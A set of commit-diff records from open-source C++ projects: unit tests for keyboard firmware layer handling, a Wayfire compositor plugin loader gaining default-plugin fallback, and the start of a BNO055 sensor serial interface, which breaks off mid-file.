 set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  firmware.loop();\n\n  set_rows(0, 0, 512, 0, 1);                                                   \/\/ Press l\n  expect_report({0, 0, Key_Right, 0, 0, 0, 0, 0});                             \/\/ ? Got RightKey\n\n  firmware.loop();\n\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_2, 0, 0, 0, 0, 0});                                 \/\/ ? Got 2\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, layer_can_be_toggled) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  firmware.loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Releas both\n\n  firmware.loop();\n\n  set_rows(2, 0, 0, 0, 0);                                                     \/\/ Press 1\n  expect_report({0, 0, Key_F1, 0, 0, 0, 0, 0});                                \/\/ ? Got F1\n\n  firmware.loop();\n\n  set_rows(0, 0, 64, 0, 0);                                                    \/\/ Press h\n  expect_report({0, 0, Key_Left, 0, 0, 0, 0, 0});                              \/\/ ? Got Leftkey\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, layer_can_be_toggled_twice) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  firmware.loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  firmware.loop();\n\n  set_rows(8, 0, 0, 0, 0);                                                     \/\/ Press 3\n  expect_report({0, 0, Key_F3, 0, 0, 0, 0, 0});                                \/\/ ? Got F3\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  firmware.loop();\n\n  set_rows(8, 0, 0, 0, 0);                                                     \/\/ Press 3\n  expect_report({0, 0, Key_3, 0, 0, 0, 0, 0});                                 \/\/ ? Got 3\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, shift_locking_and_unlocking_works_on_layer_2) {\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 2048, 2048);                                               \/\/ Press ShiftLock\n  expect_report({Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  firmware.loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({Modifier_ShiftR, 0, Key_2, 0, 0, 0, 0, 0});                   \/\/ ? Got @\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n  expect_report({Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 2048, 2048);                                               \/\/ Press ShiftLock\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  firmware.loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_2, 0, 0, 0, 0, 0});                                 \/\/ ? Got 2\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, can_lock_both_shift_keys) {\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 2049, 2048);                                               \/\/ Press both ShiftLock\n  expect_report({Modifier_ShiftL | Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});     \/\/ ? Got both Shift\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, when_changing_layer_all_keys_are_cleared) {\n  set_rows(0, 0, 0, 0, 1);\n\n  firmware.loop();\n\n  set_rows(1, 0, 0, 0, 1);\n  expect_report({0, 0, Key_Esc, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(1, 0, 0, 0, 0);\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, when_changing_layer_modifier_keys_are_not_cleared) {\n  set_rows(0, 0, 0, 1, 1);\n  expect_report({Modifier_ShiftL, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 1, 0);\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n<commit_msg>[test] Minor  refactor, more comments<commit_after>\/\/ Copyright 2016, Dawid Kurek, <dawikur@gmail.com>\n\n#include \"firmware.hpp\"\n\n#include <vector>\n\n#include \"gtest\/gtest.h\"\n\n#include \"mock.hpp\"\n\nnamespace Functions {\n\n#define set_rows(row0, row1, row2, row3, row4)                                 \\\n  EXPECT_CALL(hardware, getRow(0))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row0}));                             \\\n  EXPECT_CALL(hardware, getRow(1))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row1}));                             \\\n  EXPECT_CALL(hardware, getRow(2))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row2}));                             \\\n  EXPECT_CALL(hardware, getRow(3))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row3}));                             \\\n  EXPECT_CALL(hardware, getRow(4)).WillOnce(::testing::Return(Crow::Row{row4}));\n\n#define expect_report(...)                                                     \\\n  EXPECT_CALL(usbHid, sendReport(std::vector<uint8_t>(__VA_ARGS__)))           \\\n    .WillOnce(::testing::Return(1))\n\nCrow::Mock::Hardware *_hardware;\nCrow::Mock::USBHid *_usbHid;\n\nCrow::Row getRow(Crow::Index const i) {\n  return _hardware->getRow(i);\n}\n\nvoid sendReport(Crow::Index const id,\n                void const *const data,\n                Crow::Index const size) {\n  auto *bytes = reinterpret_cast<uint8_t const *>(data);\n  std::vector<uint8_t> buffor(bytes, bytes + size);\n  _usbHid->sendReport(buffor);\n}\n\nvoid setLayer(Crow::Index const) {}\n\n}  \/\/ namespace Functions\n\nclass firmware_test : public ::testing::Test {\n protected:\n  void SetUp() override {\n    Functions::_hardware = &hardware;\n    Functions::_usbHid = &usbHid;\n\n    firmware.setup(\n      Functions::getRow, Functions::sendReport, Functions::setLayer);\n  }\n\n  void TearDown() override {\n    Functions::_usbHid = nullptr;\n    Functions::_hardware = nullptr;\n  }\n\n  void loop() {\n    firmware.loop();\n  }\n\n  Crow::Firmware firmware;\n\n  Crow::Mock::Hardware hardware;\n  Crow::Mock::USBHid usbHid;\n};\n\nusing namespace Crow::Keymap;\n\nTEST_F(firmware_test, not_pressing_any_key_will_not_send_report) {\n  set_rows(0, 0, 0, 0, 0);\n\n  loop();\n}\n\nTEST_F(firmware_test, pressing_one_key_will_send_report_with_that_key) {\n  set_rows(0, 0, 2, 0, 0);\n  expect_report({0, 0, Key_A, 0, 0, 0, 0, 0});\n\n  loop();\n}\n\nTEST_F(firmware_test, pressing_and_releasing_key_will_send_two_reports) {\n  set_rows(0, 0, 4, 0, 0);\n  expect_report({0, 0, Key_S, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n}\n\nTEST_F(firmware_test,\n       when_pressing_three_keys_they_will_be_send_in_one_report) {\n  set_rows(32, 4, 64, 0,0);\n  expect_report({0, 0, Key_5, Key_W, Key_H, 0, 0, 0});\n\n  loop();\n}\n\nTEST_F(firmware_test, pressed_modifier_will_be_send) {\n  set_rows(0, 0, 1, 0, 0);\n  expect_report({\n    Modifier_CtrlL, 0, 0, 0, 0, 0, 0, 0,\n  });\n\n  loop();\n}\n\nTEST_F(firmware_test, pressed_multiple_modifiers_will_be_send) {\n  set_rows(0, 0, 1, 1, 0);\n  expect_report({\n    Modifier_CtrlL | Modifier_ShiftL, 0, 0, 0, 0, 0, 0, 0,\n  });\n\n  loop();\n}\n\nTEST_F(firmware_test, modifiers_can_be_unpressed) {\n  set_rows(0, 0, 0, 0, 256);                                                   \/\/ Press AltR\n  expect_report({Modifier_AltR, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release AltR\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n}\n\nTEST_F(firmware_test, modifiers_press_can_be_combined_with_normal_keys) {\n  set_rows(0, 32, 1, 8, 256);\n  expect_report({Modifier_AltR | Modifier_CtrlL, 0, Key_T, Key_C, 0, 0, 0, 0});\n\n  loop();\n}\n\nTEST_F(firmware_test, first_layer_can_be_reached) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  loop();\n\n  set_rows(2, 0, 0, 0, 1);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_F1, 0, 0, 0, 0, 0});                                \/\/ ? Got F2\n\n  loop();\n}\n\nTEST_F(firmware_test, can_click_on_first_layer_and_than_back_on_default_one) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  loop();\n\n  set_rows(0, 0, 512, 0, 1);                                                   \/\/ Press l\n  expect_report({0, 0, Key_Right, 0, 0, 0, 0, 0});                             \/\/ ? Got RightKey\n\n  loop();\n\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_2, 0, 0, 0, 0, 0});                                 \/\/ ? Got 2\n\n  loop();\n}\n\nTEST_F(firmware_test, layer_can_be_toggled) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Releas both\n\n  loop();\n\n  set_rows(2, 0, 0, 0, 0);                                                     \/\/ Press 1\n  expect_report({0, 0, Key_F1, 0, 0, 0, 0, 0});                                \/\/ ? Got F1\n\n  loop();\n\n  set_rows(0, 0, 64, 0, 0);                                                    \/\/ Press h\n  expect_report({0, 0, Key_Left, 0, 0, 0, 0, 0});                              \/\/ ? Got Leftkey\n\n  loop();\n}\n\nTEST_F(firmware_test, layer_can_be_toggled_twice) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  loop();\n\n  set_rows(8, 0, 0, 0, 0);                                                     \/\/ Press 3\n  expect_report({0, 0, Key_F3, 0, 0, 0, 0, 0});                                \/\/ ? Got F3\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 1, 0, 0, 1);                                                     \/\/ Press Layer1Toggle\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  loop();\n\n  set_rows(8, 0, 0, 0, 0);                                                     \/\/ Press 3\n  expect_report({0, 0, Key_3, 0, 0, 0, 0, 0});                                 \/\/ ? Got 3\n\n  loop();\n}\n\nTEST_F(firmware_test, shift_locking_and_unlocking_works_on_layer_2) {\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n\n  loop();\n\n  set_rows(0, 0, 0, 2048, 2048);                                               \/\/ Press ShiftLock\n  expect_report({Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({Modifier_ShiftR, 0, Key_2, 0, 0, 0, 0, 0});                   \/\/ ? Got @\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n  expect_report({Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 0, 0, 2048, 2048);                                               \/\/ Press ShiftLock\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release both\n\n  loop();\n\n  set_rows(4, 0, 0, 0, 0);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_2, 0, 0, 0, 0, 0});                                 \/\/ ? Got 2\n\n  loop();\n}\n\nTEST_F(firmware_test, can_lock_both_shift_keys) {\n  set_rows(0, 0, 0, 0, 2048);                                                  \/\/ Press Layer2\n\n  loop();\n\n  set_rows(0, 0, 0, 2049, 2048);                                               \/\/ Press both ShiftLock\n  expect_report({Modifier_ShiftL | Modifier_ShiftR, 0, 0, 0, 0, 0, 0, 0});     \/\/ ? Got both Shift\n\n  loop();\n}\n\nTEST_F(firmware_test, when_changing_layer_all_keys_are_cleared) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  loop();\n\n  set_rows(1, 0, 0, 0, 1);                                                     \/\/ Press Esc\n  expect_report({0, 0, Key_Esc, 0, 0, 0, 0, 0});                               \/\/ ? Got Esc\n\n  loop();\n\n  set_rows(1, 0, 0, 0, 0);                                                     \/\/ Release Layer1\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});                                     \/\/ ? Did not get Esc\n\n  loop();\n}\n\nTEST_F(firmware_test, when_changing_layer_modifier_keys_are_not_cleared) {\n  set_rows(0, 0, 0, 1, 1);                                                     \/\/ Press Layer1 and ShiftL\n  expect_report({Modifier_ShiftL, 0, 0, 0, 0, 0, 0, 0});                       \/\/ ? Got ShiftL\n\n  loop();\n\n  set_rows(0, 0, 0, 1, 0);                                                     \/\/ Release Layer1\n\n  loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release ShiftL\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});                                     \/\/ ? Did not get ShiftL\n\n  loop();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <sstream>\n#include <set>\n#include <memory>\n#include <dlfcn.h>\n\n#include \"plugin-loader.hpp\"\n#include \"output.hpp\"\n#include \"..\/core\/wm.hpp\"\n#include \"core.hpp\"\n#include \"debug.hpp\"\n\nnamespace\n{\n    template<class A, class B> B union_cast(A object)\n    {\n        union {\n            A x;\n            B y;\n        } helper;\n        helper.x = object;\n        return helper.y;\n    }\n}\n\nstatic const std::string default_plugins = \"viewport_impl move resize animate \\\n                                            switcher vswitch cube expo command \\\n                                            grid\";\n\nstatic void idle_reload(void *data)\n{\n    auto manager = (plugin_manager *) data;\n    manager->reload_dynamic_plugins();\n    manager->idle_reload_dynamic_plugins = NULL;\n}\n\nplugin_manager::plugin_manager(wayfire_output *o, wayfire_config *config)\n{\n    this->config = config;\n    this->output = o;\n\n    auto section = config->get_section(\"core\");\n    plugins_opt = section->get_option(\"plugins\", \"default\");\n\n    reload_dynamic_plugins();\n    load_static_plugins();\n\n    list_updated = [=] ()\n    {\n        \/* reload when config reload has finished *\/\n        idle_reload_dynamic_plugins =\n            wl_event_loop_add_idle(core->ev_loop, idle_reload, this);\n    };\n\n    plugins_opt->updated.push_back(&list_updated);\n}\n\nvoid plugin_manager::deinit_plugins(bool unloadable, bool internal)\n{\n    for (auto& p : loaded_plugins)\n    {\n        if (!p.second) \/\/ already destroyed on the previous iteration\n            continue;\n\n        if (p.second->is_unloadable() == unloadable && p.second->is_internal() == internal)\n            destroy_plugin(p.second);\n    }\n}\n\nplugin_manager::~plugin_manager()\n{\n    deinit_plugins(true, false); \/\/ regular plugins - unloadable, not internal\n    deinit_plugins(false, false); \/\/ regular plugins - not-unloadable, not internal\n    deinit_plugins(true, true); \/\/ system plugins - unloadable, internal\n    deinit_plugins(false, true); \/\/ system plugins - not-unloadable, internal\n\n    loaded_plugins.clear();\n\n    if (idle_reload_dynamic_plugins)\n        wl_event_source_remove(idle_reload_dynamic_plugins);\n\n    plugins_opt->updated.erase(std::remove(plugins_opt->updated.begin(), plugins_opt->updated.end(),\n                                           &list_updated), plugins_opt->updated.end());\n}\n\nvoid plugin_manager::init_plugin(wayfire_plugin& p)\n{\n    p->grab_interface = new wayfire_grab_interface_t(output);\n    p->output = output;\n\n    p->init(config);\n}\n\nvoid plugin_manager::destroy_plugin(wayfire_plugin& p)\n{\n    p->grab_interface->ungrab();\n    output->deactivate_plugin(p->grab_interface);\n\n    p->fini();\n    delete p->grab_interface;\n\n    \/* we load the same plugins for each output, so we must dlclose() the handle\n     * only when we remove the last output *\/\n    if (core->get_num_outputs() < 1)\n    {\n        if (p->dynamic)\n            dlclose(p->handle);\n    }\n\n    p.reset();\n}\n\nwayfire_plugin plugin_manager::load_plugin_from_file(std::string path)\n{\n    void *handle = dlopen(path.c_str(), RTLD_NOW);\n    if(handle == NULL)\n    {\n        log_error(\"error loading plugin: %s\", dlerror());\n        return nullptr;\n    }\n\n\n    auto initptr = dlsym(handle, \"newInstance\");\n    if(initptr == NULL)\n    {\n        log_error(\"%s: missing newInstance(). %s\", path.c_str(), dlerror());\n        return nullptr;\n    }\n\n    log_debug(\"loading plugin %s\", path.c_str());\n    get_plugin_instance_t init = union_cast<void*, get_plugin_instance_t> (initptr);\n\n    auto ptr = wayfire_plugin(init());\n\n    ptr->handle = handle;\n    ptr->dynamic = true;\n\n    return wayfire_plugin(init());\n}\n\nvoid plugin_manager::reload_dynamic_plugins()\n{\n    std::stringstream stream(plugins_opt->as_string());\n    std::vector<std::string> next_plugins;\n\n    auto plugin_prefix = std::string(INSTALL_PREFIX \"\/lib\/wayfire\/\");\n\n    std::string plugin_name;\n    while(stream >> plugin_name)\n    {\n        if (plugin_name.size())\n        {\n            if (plugin_name.at(0) == '\/')\n                next_plugins.push_back(plugin_name);\n            else\n                next_plugins.push_back(plugin_prefix + \"lib\" + plugin_name + \".so\");\n        }\n    }\n\n    \/* erase plugins that have been removed from the config *\/\n    auto it = loaded_plugins.begin();\n    while(it != loaded_plugins.end())\n    {\n        \/* skip built-in(static) plugins *\/\n        if (it->first.size() && it->first[0] == '_')\n        {\n            ++it;\n            continue;\n        }\n\n        if (std::find(next_plugins.begin(), next_plugins.end(), it->first) == next_plugins.end() &&\n            it->second->is_unloadable())\n        {\n            log_debug(\"unload plugin %s\", it->first.c_str());\n            destroy_plugin(it->second);\n            it = loaded_plugins.erase(it);\n        }\n        else\n        {\n            ++it;\n        }\n    }\n\n\n    \/* load new plugins *\/\n    for (auto plugin : next_plugins)\n    {\n        if (loaded_plugins.count(plugin))\n            continue;\n\n        auto ptr = load_plugin_from_file(plugin);\n        if (ptr)\n        {\n            init_plugin(ptr);\n            loaded_plugins[plugin] = std::move(ptr);\n        }\n    }\n}\n\ntemplate<class T> static wayfire_plugin create_plugin()\n{\n    return std::unique_ptr<wayfire_plugin_t>(new T);\n}\n\nvoid plugin_manager::load_static_plugins()\n{\n    loaded_plugins[\"_exit\"]         = create_plugin<wayfire_exit>();\n    loaded_plugins[\"_focus\"]        = create_plugin<wayfire_focus>();\n    loaded_plugins[\"_close\"]        = create_plugin<wayfire_close>();\n    loaded_plugins[\"_focus_parent\"] = create_plugin<wayfire_handle_focus_parent>();\n\n    init_plugin(loaded_plugins[\"_exit\"]);\n    init_plugin(loaded_plugins[\"_focus\"]);\n    init_plugin(loaded_plugins[\"_close\"]);\n    init_plugin(loaded_plugins[\"_focus_parent\"]);\n}\n<commit_msg>plugin-loader: Load a list of basic plugins in case of bad configuration<commit_after>#include <sstream>\n#include <set>\n#include <memory>\n#include <dlfcn.h>\n\n#include \"plugin-loader.hpp\"\n#include \"output.hpp\"\n#include \"..\/core\/wm.hpp\"\n#include \"core.hpp\"\n#include \"debug.hpp\"\n\nnamespace\n{\n    template<class A, class B> B union_cast(A object)\n    {\n        union {\n            A x;\n            B y;\n        } helper;\n        helper.x = object;\n        return helper.y;\n    }\n}\n\nstatic const std::string default_plugins = \"viewport_impl move resize animate \\\n                                            switcher vswitch cube expo command \\\n                                            grid\";\n\nstatic void idle_reload(void *data)\n{\n    auto manager = (plugin_manager *) data;\n    manager->reload_dynamic_plugins();\n    manager->idle_reload_dynamic_plugins = NULL;\n}\n\nplugin_manager::plugin_manager(wayfire_output *o, wayfire_config *config)\n{\n    this->config = config;\n    this->output = o;\n\n    auto section = config->get_section(\"core\");\n    plugins_opt = section->get_option(\"plugins\", \"none\");\n\n    reload_dynamic_plugins();\n    load_static_plugins();\n\n    list_updated = [=] ()\n    {\n        \/* reload when config reload has finished *\/\n        idle_reload_dynamic_plugins =\n            wl_event_loop_add_idle(core->ev_loop, idle_reload, this);\n    };\n\n    plugins_opt->updated.push_back(&list_updated);\n}\n\nvoid plugin_manager::deinit_plugins(bool unloadable, bool internal)\n{\n    for (auto& p : loaded_plugins)\n    {\n        if (!p.second) \/\/ already destroyed on the previous iteration\n            continue;\n\n        if (p.second->is_unloadable() == unloadable && p.second->is_internal() == internal)\n            destroy_plugin(p.second);\n    }\n}\n\nplugin_manager::~plugin_manager()\n{\n    deinit_plugins(true, false); \/\/ regular plugins - unloadable, not internal\n    deinit_plugins(false, false); \/\/ regular plugins - not-unloadable, not internal\n    deinit_plugins(true, true); \/\/ system plugins - unloadable, internal\n    deinit_plugins(false, true); \/\/ system plugins - not-unloadable, internal\n\n    loaded_plugins.clear();\n\n    if (idle_reload_dynamic_plugins)\n        wl_event_source_remove(idle_reload_dynamic_plugins);\n\n    plugins_opt->updated.erase(std::remove(plugins_opt->updated.begin(), plugins_opt->updated.end(),\n                                           &list_updated), plugins_opt->updated.end());\n}\n\nvoid plugin_manager::init_plugin(wayfire_plugin& p)\n{\n    p->grab_interface = new wayfire_grab_interface_t(output);\n    p->output = output;\n\n    p->init(config);\n}\n\nvoid plugin_manager::destroy_plugin(wayfire_plugin& p)\n{\n    p->grab_interface->ungrab();\n    output->deactivate_plugin(p->grab_interface);\n\n    p->fini();\n    delete p->grab_interface;\n\n    \/* we load the same plugins for each output, so we must dlclose() the handle\n     * only when we remove the last output *\/\n    if (core->get_num_outputs() < 1)\n    {\n        if (p->dynamic)\n            dlclose(p->handle);\n    }\n\n    p.reset();\n}\n\nwayfire_plugin plugin_manager::load_plugin_from_file(std::string path)\n{\n    void *handle = dlopen(path.c_str(), RTLD_NOW);\n    if(handle == NULL)\n    {\n        log_error(\"error loading plugin: %s\", dlerror());\n        return nullptr;\n    }\n\n\n    auto initptr = dlsym(handle, \"newInstance\");\n    if(initptr == NULL)\n    {\n        log_error(\"%s: missing newInstance(). %s\", path.c_str(), dlerror());\n        return nullptr;\n    }\n\n    log_debug(\"loading plugin %s\", path.c_str());\n    get_plugin_instance_t init = union_cast<void*, get_plugin_instance_t> (initptr);\n\n    auto ptr = wayfire_plugin(init());\n\n    ptr->handle = handle;\n    ptr->dynamic = true;\n\n    return wayfire_plugin(init());\n}\n\nvoid plugin_manager::reload_dynamic_plugins()\n{\n    auto plugin_list = plugins_opt->as_string();\n    if (plugin_list == \"none\")\n    {\n        log_error(\"No plugins specified in the config file, or config file is \"\n            \"missing. In this state the compositor is nearly unusable, please \"\n            \"ensure your configuration file is set up properly.\");\n        plugin_list = default_plugins;\n    }\n\n    std::stringstream stream(plugin_list);\n    std::vector<std::string> next_plugins;\n\n    auto plugin_prefix = std::string(INSTALL_PREFIX \"\/lib\/wayfire\/\");\n\n    std::string plugin_name;\n    while(stream >> plugin_name)\n    {\n        if (plugin_name.size())\n        {\n            if (plugin_name.at(0) == '\/')\n                next_plugins.push_back(plugin_name);\n            else\n                next_plugins.push_back(plugin_prefix + \"lib\" + plugin_name + \".so\");\n        }\n    }\n\n    \/* erase plugins that have been removed from the config *\/\n    auto it = loaded_plugins.begin();\n    while(it != loaded_plugins.end())\n    {\n        \/* skip built-in(static) plugins *\/\n        if (it->first.size() && it->first[0] == '_')\n        {\n            ++it;\n            continue;\n        }\n\n        if (std::find(next_plugins.begin(), next_plugins.end(), it->first) == next_plugins.end() &&\n            it->second->is_unloadable())\n        {\n            log_debug(\"unload plugin %s\", it->first.c_str());\n            destroy_plugin(it->second);\n            it = loaded_plugins.erase(it);\n        }\n        else\n        {\n            ++it;\n        }\n    }\n\n\n    \/* load new plugins *\/\n    for (auto plugin : next_plugins)\n    {\n        if (loaded_plugins.count(plugin))\n            continue;\n\n        auto ptr = load_plugin_from_file(plugin);\n        if (ptr)\n        {\n            init_plugin(ptr);\n            loaded_plugins[plugin] = std::move(ptr);\n        }\n    }\n}\n\ntemplate<class T> static wayfire_plugin create_plugin()\n{\n    return std::unique_ptr<wayfire_plugin_t>(new T);\n}\n\nvoid plugin_manager::load_static_plugins()\n{\n    loaded_plugins[\"_exit\"]         = create_plugin<wayfire_exit>();\n    loaded_plugins[\"_focus\"]        = create_plugin<wayfire_focus>();\n    loaded_plugins[\"_close\"]        = create_plugin<wayfire_close>();\n    loaded_plugins[\"_focus_parent\"] = create_plugin<wayfire_handle_focus_parent>();\n\n    init_plugin(loaded_plugins[\"_exit\"]);\n    init_plugin(loaded_plugins[\"_focus\"]);\n    init_plugin(loaded_plugins[\"_close\"]);\n    init_plugin(loaded_plugins[\"_focus_parent\"]);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by volundr on 7\/19\/16.\n\/\/\n\n#include <vector>\n#include <iostream>\n#include \"Bno055Interface.h\"\n\nnamespace bno055 {\n\n    bool Bno055Interface::init(const char* bno055File) {\n\n        #define REPORT_FAILURE(byteSent) std::cout << \"Did not receive response after sending \" byteSent \"\\n\"; wasSuccess = false\n        bool wasSuccess = true;\n        if ( ! uart.openPort(bno055File, BNO055_BAUD_RATE) ) {\n            std::cout << \"Could not open serial connection to bno055!\\n\";\n            wasSuccess = false;\n        }\n        if ( ! writeByte(OPR_MODE, CONFIG) ) {\n            REPORT_FAILURE(\"OPR_MODE\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(PWR_MODE, NORMAL) ) {\n            REPORT_FAILURE(\"PWR_MODE\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(Page_ID, 0) ) {\n            REPORT_FAILURE(\"Page_ID\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(SYS_TRIGGER, 0) ) {\n            REPORT_FAILURE(\"SYS_TRIGGER\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(UNIT_SEL, 0x83) ) {\n            REPORT_FAILURE(\"UNIT_SEL\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(AXIS_MAP_CONFIG, 0x24) ) {\n            REPORT_FAILURE(\"AXIS_MAP_CONFIG\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(AXIS_MAP_SIGN, 0x06) ) {\n            REPORT_FAILURE(\"AXIS_MAP_SIGN\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(OPR_MODE, NDOF) ) {\n            REPORT_FAILURE(\"OPR_MODE\");\n            wasSuccess = false;\n        }\n        #undef REPORT_FAILURE\n\n        hasInit = wasSuccess;\n        return wasSuccess;\n    }\n\n    bool Bno055Interface::write(uint8_t regAddr, uint8_t length, uint8_t* data) {\n        RegisterWritePacket packetToSend(regAddr, length, data);\n        uart.sendData(packetToSend.bytes(), packetToSend.length);\n        ReceivedAck ack;\n        if (ack.readFrom(uart) == RECEIVED_EXPECTED) {\n            std::cout << \"Did not receive ack!\\n\";\n        }\n        return (ack.isValidAck() && ! ack.isErrorStatus());\n    }\n\n    bool Bno055Interface::writeByte(uint8_t regAddr, uint8_t data) {\n        return write(regAddr, 1, &data);\n    }\n\n    bool Bno055Interface::isLive() {\n        return hasInit;\n    }\n\n\n}\n\n<commit_msg>added error response<commit_after>\/\/\n\/\/ Created by volundr on 7\/19\/16.\n\/\/\n\n#include <vector>\n#include <iostream>\n#include \"Bno055Interface.h\"\n\nnamespace bno055 {\n\n    bool Bno055Interface::init(const char* bno055File) {\n\n        #define REPORT_FAILURE(byteSent) std::cout << \"Did not receive response after sending \" byteSent \"\\n\"; wasSuccess = false\n        bool wasSuccess = true;\n        if ( ! uart.openPort(bno055File, BNO055_BAUD_RATE) ) {\n            std::cout << \"Could not open serial connection to bno055!\\n\";\n            wasSuccess = false;\n        }\n        if ( ! writeByte(OPR_MODE, CONFIG) ) {\n            REPORT_FAILURE(\"OPR_MODE\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(PWR_MODE, NORMAL) ) {\n            REPORT_FAILURE(\"PWR_MODE\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(Page_ID, 0) ) {\n            REPORT_FAILURE(\"Page_ID\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(SYS_TRIGGER, 0) ) {\n            REPORT_FAILURE(\"SYS_TRIGGER\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(UNIT_SEL, 0x83) ) {\n            REPORT_FAILURE(\"UNIT_SEL\");\n            wasSuccess = false;\n        }\n        if ( ! writeByte(AXIS_MAP_CONFIG, 0x24) ) {\n            REPORT_FAILURE(\"AXIS_MAP_CONFIG\");\n            